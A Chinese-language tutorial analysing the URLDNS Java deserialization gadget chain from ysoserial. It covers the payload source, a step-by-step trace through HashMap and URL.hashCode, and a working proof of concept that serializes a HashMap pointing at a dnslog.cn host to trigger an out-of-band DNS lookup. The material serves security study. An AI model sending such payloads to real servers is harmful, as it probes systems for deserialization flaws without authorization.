目录
前言:
(一)原理
(二)利用链
再来分析 URLDNS.java 这个文件,并且在入口处设置断点进行调试:
(三) POC
参考资料
前言:
URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,所以通常用于检测反序列化的点,URLDNS并不能执行命令,只能发送DNS请求。
(一)原理
HashMap在反序列化的时候会对传进来的对象进行hash计算获取hashCode,而URL类中的hashCode属性在特殊情况下(hashCode==1)的hashCode计算将触发dns查询
(二)利用链
ysoserial中的URLDNS.java
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
- 我们可以看到这里实例化了一个 HashMap 类,这是因为 HashMap 这个类重写了
readObject()
这个方法:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
******
******
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
******
******
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
readObject()
中调用了hash(key)
,继续跟进hash(key)
方法:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
hash(key)
方法中调用key.hashCode()
这个时候就看哪个可以序列化的类中有
hashCode()
方法,且该方法调用了可利用的函数,利用链中给出了URL类
-
再来分析 URLDNS.java 这个文件,并且在入口处设置断点进行调试:
首先实例化了一个 SilentURLStreamHandler 类,目的是防止writeObject时URL实例导致的dns查询,然后再实例化 HashMap 和 URL 的类,这是
ht.put(u, url),如图 1-1所示。
这里的url值就是我们传入的参数,后面重点分析,这里查看下 HashMap 类的put()
方法,图1-2:
这里又调用了
putVal()
函数,而这里的key就是我们上面的url对象,并且key还是作为hash()
方法的参数,继续跟入hash()
方法,如图 1-3 :
跟入到
hash()
方法后,发现这里调用了key.hashCode()
,而这里的key就是 URL 类的实例化对象,继续跟入查看 URL 类的hashcode()
方法,如图 1-4:
而这里当 hashCode 值不为-1时,就会调用 SilentURLStreamHandler 类的
hashCode()
方法,而我们知道,SilentURLStreamHandler 类是 URLStreamHandler 抽象类的子类,再查看其hashcode()
方法,如图 1-5:
发现最终会调用 getHostAddress()
方法,该方法会发送DNS请求,于是整条利用链就大概清晰了,非常短
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
最后再看一开始实例化了一个 SilentURLStreamHandler 类,目的是防止序列化调用
writeObject()
时URL实例导致的dns查询,实现的原理为:
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
通过子类重写了 URLStreamHandler 的
getHostAddress()
方法,使其调用时放回null。所以当handler.hashCode()
调用getHostAddress()
时实际调用的重写后的getHostAddress()
,返回了null,所以本机上并不会发送dns请求,又因为handler是transient类型,所以我们自己重写的handler并不会生效,在反序列化时实际调用的还是本来的 URLStreamHandler ,同样可规避本机dns请求与目标机dns请求的混淆,当然我们也可以通过反射机制进行绕过。
(三) POC
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://j0obud.dnslog.cn/");
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123);
map.put(url,"2333");
field.set(url,-1);
try {
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
参考资料
ysoserial-调试分析
JAVA反序列化之URLDNS链分析
Java反序列化之URLDNS链